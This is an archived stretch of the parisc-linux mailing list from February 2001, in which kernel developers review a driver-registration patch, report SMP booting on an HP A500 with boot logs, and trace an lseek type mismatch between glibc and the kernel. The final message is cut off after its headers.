  by mailserv2.iuinc.com with SMTP; 26 Feb 2001 05:27:04 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 78743FEB; Sun, 25 Feb 2001 21:27:03 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA23229;
	Sun, 25 Feb 2001 21:30:04 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 25 Feb 2001 12:02:38 PST."
             <3A98E64E.A8A9216A@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:10403

Hi Matthieu,
Ok. I lied. One more issue with the patch in register_pa_dev().

Matthieu Delahaye wrote:
> @@ -145,16 +187,16 @@
>  {
>  	struct pa_iodc_driver *driver = pa_drivers;
>  
> -	while ((0 == hp_dev->managed) && (NULL != driver)) {
> +	while ((NULL == hp_dev->driver) && (NULL != driver)) {
>  
>  		if (compare_spec(hp_dev,driver))
> -			hp_dev->managed =
> -				((*driver->callback)(hp_dev,driver) == 0);
> +			hp_dev->driver =
> +				(((*driver->callback)(hp_dev,driver) == 0)?driv
>   er:NULL);
>  
>  		driver = driver->next;
>  	}
>  
> -	return hp_dev->managed;
> +	return (hp_dev->driver==driver);

In the case a device is managed,  "driver" points to "->next" after
we exit the loop and we end up returning false.  Right?

I think "return (NULL != hp_dev->driver)" is the correct code.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Mon, 26 Feb 2001 11:00:58 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <3A9A295A.60A9E4D8@esiee.fr>
References: <200102260530.VAA23229@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619914 16178 80.91.229.3 (22 Nov 2014 01:31:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:54 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 03:01:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDAF84A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 03:01:02 -0700 (MST)
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 856F9D15C5; Mon, 26 Feb 2001 11:00:59 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14XKSh-0008N9-00; Mon, 26 Feb 2001 11:00:59 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10404

Grant Grundler wrote:
> 
> Hi Matthieu,
> Ok. I lied. One more issue with the patch in register_pa_dev().
> 
> Matthieu Delahaye wrote:
> > @@ -145,16 +187,16 @@
> >  {
> >       struct pa_iodc_driver *driver = pa_drivers;
> >
> > -     while ((0 == hp_dev->managed) && (NULL != driver)) {
> > +     while ((NULL == hp_dev->driver) && (NULL != driver)) {
> >
> >               if (compare_spec(hp_dev,driver))
> > -                     hp_dev->managed =
> > -                             ((*driver->callback)(hp_dev,driver) == 0);
> > +                     hp_dev->driver =
> > +                             (((*driver->callback)(hp_dev,driver) == 0)?driv
> >   er:NULL);
> >
> >               driver = driver->next;
> >       }
> >
> > -     return hp_dev->managed;
> > +     return (hp_dev->driver==driver);
> 
> In the case a device is managed,  "driver" points to "->next" after
> we exit the loop and we end up returning false.  Right?
> 
> I think "return (NULL != hp_dev->driver)" is the correct code.
> 
You're right. I couldn't test this function because I didn't find a way
to add devices only after some drivers were already registered.

Matthieu

> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Mon, 26 Feb 2001 16:08:15 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <3A9A715F.BDDC8A66@esiee.fr>
References: <20010220120709.E31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619915 16180 80.91.229.3 (22 Nov 2014 01:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:55 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 08:08:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BA5F4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 08:08:17 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id B1EB9D15EE; Mon, 26 Feb 2001 16:08:15 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10405

Hi all,

	Back to school, we tried the last cvs! And the good news are:
- SMP works fine with our A500 :) You will find our dmesg and cpuinfo at
the end!
- 712 boots with the new source.

But, we still have the circular dependency and warning messages about
string.h:

/home/mkltom/cvs/linux/include/linux/string.h:27: warning: conflicting
types for built-in function `strncpy'
/home/mkltom/cvs/linux/include/linux/string.h:33: warning: conflicting
types for built-in function `strncat'
/home/mkltom/cvs/linux/include/linux/string.h:39: warning: conflicting
types for built-in function `strncmp'
/home/mkltom/cvs/linux/include/linux/string.h:61: warning: conflicting
types for built-in function `memset'
/home/mkltom/cvs/linux/include/linux/string.h:64: warning: conflicting
types for built-in function `memcpy'
/home/mkltom/cvs/linux/include/linux/string.h:73: warning: conflicting
types for built-in function `memcmp'

All the compilation has been made by xc-devel-20010215-2.tar.gz
available on pehc

Bye, Thomas
ESIEE Team

Lot of work to do, but soon a new file system will be made at
esiee.fr/puffin (I hope)

DMESG:
The 64-bit Kernel has started...
FP[0] enabled: Rev 1 Model 16
Free memory starts at: 0x1040e000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'init=/bin/sh HOME=/ TERM=LINUX console=ttyS0
root=/dev/sda3'
PALO initrd 0-0
model   00005d50 00000491 00000000 00000001 5e936f38 100000f0 00000008
000000b2 000000b2
vers    00000301
cpuid   0000024b
CPUID   vers 18 rev 11
model   9000/800/A500-5X
Searching for devices in PDC firmware... processor hpa
0xfffffffffffa0000
Found devices:
1. Crescendo 550 (0) at 0xfffffffffffa0000, versions 0x5d5, 0x0, 0x4,
0x0, 0x91
2. Crescendo 550 (0) at 0xfffffffffffa2000, versions 0x5d5, 0x0, 0x4,
0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9,
0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0,
0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0,
0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0,
0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0,
0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0,
0xa, 0x0, 0x0
That's a total of 8 devices.
CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
Linux version 2.4.0 (a500@pc5158a) (gcc version 2.97 20010128
(experimental)) #4 SMP Mon Feb 26 12:22:43 CET 2001
free_bootmem(0x412000, 0x1fbee000)
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: init=/bin/sh HOME=/ TERM=LINUX console=ttyS0
root=/dev/sda3
Calibrating delay loop... 1097.72 BogoMIPS
Memory: 500652k available
Dentry-cache hash table entries: 65536 (order: 8, 1048576 bytes)
Buffer-cache hash table entries: 32768 (order: 6, 262144 bytes)
Page-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 32768 (order: 7, 524288 bytes)
POSIX conformance testing by UNIFIX
SMP: bootstrap CPU ID is 0
FP[1] enabled: Rev 1 Model 16
SMP: Total 2 of 2 processors activated (2195.46 BogoMIPS noticed).
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 (#2) type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 (#2) type 64-bit
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
SBA found Astro 2.1 at 0xfffffffffed00000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
PCIBIOS: Enabling device 00:04.0 (0146 -> 0147)
ttyS00 at port 0x0040 (irq = 132) is a 16550A
PCIBIOS: Enabling device 00:05.0 (0000 -> 0143)
ttyS01 at port 0x0500 (irq = 133) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Linux Tulip driver version 0.9.13 (January 2, 2001)

/* END */

CPUINFO:
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/A500-5X
model name      : Crescendo 550
hversion        : 0x00005d50
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72
processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/A500-5X
model name      : Crescendo 550
hversion        : 0x00005d50
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72

/* END */




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unregister driver patch
Date: Mon, 26 Feb 2001 16:38:33 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20010226163833.C22753@parcelfarce.linux.theplanet.co.uk>
References: <3A98E64E.A8A9216A@esiee.fr> <200102260431.UAA23094@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619915 16181 80.91.229.3 (22 Nov 2014 01:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:55 +0000 (UTC)
Cc: Matthieu Delahaye <delahaym@esiee.fr>,
	parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 10:18:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A530B4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 10:18:36 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA18207
	for <parisc-linux@puffin.external.hp.com>; Mon, 26 Feb 2001 10:13:48 -0700
Original-Received: (qmail 31415 invoked by uid 15267); 26 Feb 2001 17:18:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31405 invoked from network); 26 Feb 2001 17:18:24 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 26 Feb 2001 17:18:24 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14XQfR-0008Ix-00; Mon, 26 Feb 2001 16:38:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200102260431.UAA23094@milano.cup.hp.com>; from grundler@cup.hp.com on Sun, Feb 25, 2001 at 08:30:55PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10406

On Sun, Feb 25, 2001 at 08:30:55PM -0800, Grant Grundler wrote:
> > -			if (device->managed)			continue;
> > +			if ((int)device->driver) continue;
> 
> I'll change this to:
> 		if (NULL != device->driver) continue;

we definitely don't want to cast this to an int.  But what's wrong with

if (device->driver)
	continue;

it reads properly `if device has driver then continue'.  Sure, it's complex
to think about if you try and puzzle it out `so, if i've assigned a value to
driver then it's not 0, so this is true in which case continue', but if you
just read it, it says what it means.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Mon, 26 Feb 2001 17:57:01 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20010226175701.U4660@linuxcare.com>
References: <20010223113052.G4660@linuxcare.com> <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au> <20010223212325.K4660@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619915 16186 80.91.229.3 (22 Nov 2014 01:31:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 10:56:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B92924A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 10:56:42 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 87EFFB005; Mon, 26 Feb 2001 17:57:01 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010223212325.K4660@linuxcare.com>; from rhirst@linuxcare.com on Fri, Feb 23, 2001 at 09:23:25PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10407

This is looking like a glibc/kernel issue regardling the width
of the type returned by lseek():


I have a simple way of reproducing the bug now:

merlin:/build# echo 'if ( test  -r /dev/null ); then echo TRUE; fi;
echo Oops' | /bin/sh
TRUE
merlin:/build#


The echo parameter is split over two lines there, and should result
in two lines of output 'TRUE' and then 'Oops'.

/bin/sh picks up input with one read of 57 characters, and then
processes the string, char by char, via input.c:buffered_getchar(),
until it has the complete if..then..fi\n (about 46 characters). Then it
tries to stuff input following the 'fi\n' back on to the input stream by
doing an lseek(fd, -n, SEEK_CUR), before forking a child to do the
'test'.  On return from the child, it expects to pick up the input it
stuffed back on to the input stream.

The problem is that the input stream is a pipe, and lseek doesn't work.
bash should have decided that its input stream was not seekable and
dropped back to multiple reads of one byte.  It uses this test:

#  define fd_is_seekable(fd) (lseek ((fd), 0L, SEEK_CUR) >= 0)

and then

  if (fd_is_seekable (fd) == 0)
    size = 1;
  else
    size = (size_t)((sb.st_size > MAX_INPUT_BUFFER_SIZE) ? ...


Now for us lseek is of type __off64_t (from /usr/include/unistd.h),
although our kernel has sys_lseek() returning off_t, which is 32
bits.  Anyway, if I try to print the 64 bit return value from lseek()
I get 0x00000000ffffffe3.  The lower 32 bits is -ESPIPE, which is the
expected errno.  I don't know if glibc, kernel, or both are at fault
here.

Richard
 




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Mon, 26 Feb 2001 21:30:43 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20010226213043.E22753@parcelfarce.linux.theplanet.co.uk>
References: <20010223113052.G4660@linuxcare.com> <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au> <20010223212325.K4660@linuxcare.com> <20010226175701.U4660@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619916 16187 80.91.229.3 (22 Nov 2014 01:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:56 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 14:31:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67F454A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 14:31:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14XVEB-0005Si-00; Mon, 26 Feb 2001 21:30:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010226175701.U4660@linuxcare.com>; from rhirst@linuxcare.com on Mon, Feb 26, 2001 at 05:57:01PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10408

On Mon, Feb 26, 2001 at 05:57:01PM +0000, Richard Hirst wrote:
> Now for us lseek is of type __off64_t (from /usr/include/unistd.h),
> although our kernel has sys_lseek() returning off_t, which is 32
> bits.  Anyway, if I try to print the 64 bit return value from lseek()
> I get 0x00000000ffffffe3.  The lower 32 bits is -ESPIPE, which is the
> expected errno.  I don't know if glibc, kernel, or both are at fault
> here.

Good catch!  The code in sys_lseek seems pretty explicit that it's only
going to return an off_t:

                loff_t res = llseek(file, offset, origin);
                retval = res;
                if (res != (loff_t)retval)
                        retval = -EOVERFLOW;    /* LFS: should only happen on 32
 bit platforms */

and our off_t is:
include/asm-parisc/posix_types.h:typedef long                   __kernel_off_t;

So /usr/include/unistd.h is wrong.  lseek is not 64-bit.

Another way of fixing this would be to make off_t 64-bit... i suspect
that might have performance implications though.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Tue, 27 Feb 2001 10:36:17 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102271031580.18409-100000@front.linuxcare.com.au>
References: <3A9A715F.BDDC8A66@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619916 16189 80.91.229.3 (22 Nov 2014 01:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 26 16:36:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0BEF4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Feb 2001 16:36:30 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA10255;
	Tue, 27 Feb 2001 10:36:17 +1100
In-Reply-To: <3A9A715F.BDDC8A66@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:10409

On Mon, 26 Feb 2001, Thomas Marteau wrote:

> /home/mkltom/cvs/linux/include/linux/string.h:27: warning: conflicting
> types for built-in function `strncpy'

These messages are harmless (but annoying!).  gcc is complaining about the
`len' param which for the built-in functions is `int', but the kernel
headers effectively use `long'

Alan
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Tue, 27 Feb 2001 11:54:36 +0000 (GMT)
Lines: 21
Approved: news@gmane.org
Message-ID: <E14XiiG-0003Ee-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0102271031580.18409-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619916 16191 80.91.229.3 (22 Nov 2014 01:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:56 +0000 (UTC)
Cc: marteaut@esiee.fr (Thomas Marteau),
	parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 04:51:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00C204A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 04:51:29 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14XiiG-0003Ee-00; Tue, 27 Feb 2001 11:54:40 +0000
In-Reply-To: <Pine.LNX.4.21.0102271031580.18409-100000@front.linuxcare.com.au> from "Alan Modra" at Feb 27, 2001 10:36:17 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10410

> On Mon, 26 Feb 2001, Thomas Marteau wrote:
> 
> > /home/mkltom/cvs/linux/include/linux/string.h:27: warning: conflicting
> > types for built-in function `strncpy'
> 
> These messages are harmless (but annoying!).  gcc is complaining about the
> `len' param which for the built-in functions is `int', but the kernel
> headers effectively use `long'

Why isnt gcc prototyping and defining

	__memcpy
	__strncpy

and #defining them across in libc header files ?

Is there a 'dont use builtins' flag ?





From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Wed, 28 Feb 2001 00:04:51 +1100 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102272335540.18409-100000@front.linuxcare.com.au>
References: <E14XiiG-0003Ee-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619917 16193 80.91.229.3 (22 Nov 2014 01:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 06:05:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC8364A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 06:05:19 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA04348;
	Wed, 28 Feb 2001 00:04:51 +1100
In-Reply-To: <E14XiiG-0003Ee-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:10411

On Tue, 27 Feb 2001, Alan Cox wrote:

> Why isnt gcc prototyping and defining
> 
> 	__memcpy
> 	__strncpy
> 
> and #defining them across in libc header files ?

Huh?

> Is there a 'dont use builtins' flag ?

-fno-builtin

I'd be inclined to do this instead

--- include/asm-parisc/posix_types.h~	Tue Dec  5 13:13:45 2000
+++ include/asm-parisc/posix_types.h	Tue Feb 27 23:30:11 2001
@@ -19,10 +19,17 @@
 typedef int			__kernel_clock_t;
 typedef int			__kernel_daddr_t;
 /* Note these change from narrow to wide kernels */
+#ifdef __LP64__
 typedef unsigned long		__kernel_size_t;
 typedef long			__kernel_ssize_t;
 typedef long			__kernel_ptrdiff_t;
 typedef long			__kernel_time_t;
+#else
+typedef unsigned int		__kernel_size_t;
+typedef int			__kernel_ssize_t;
+typedef int			__kernel_ptrdiff_t;
+typedef int			__kernel_time_t;
+#endif
 typedef char *			__kernel_caddr_t;
 
 typedef unsigned short		__kernel_uid16_t;





From - Thu Nov 08 21:16:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Tue, 27 Feb 2001 13:44:59 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E14XkRA-0003RI-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0102272335540.18409-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619917 16198 80.91.229.3 (22 Nov 2014 01:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:57 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 06:41:49 2001
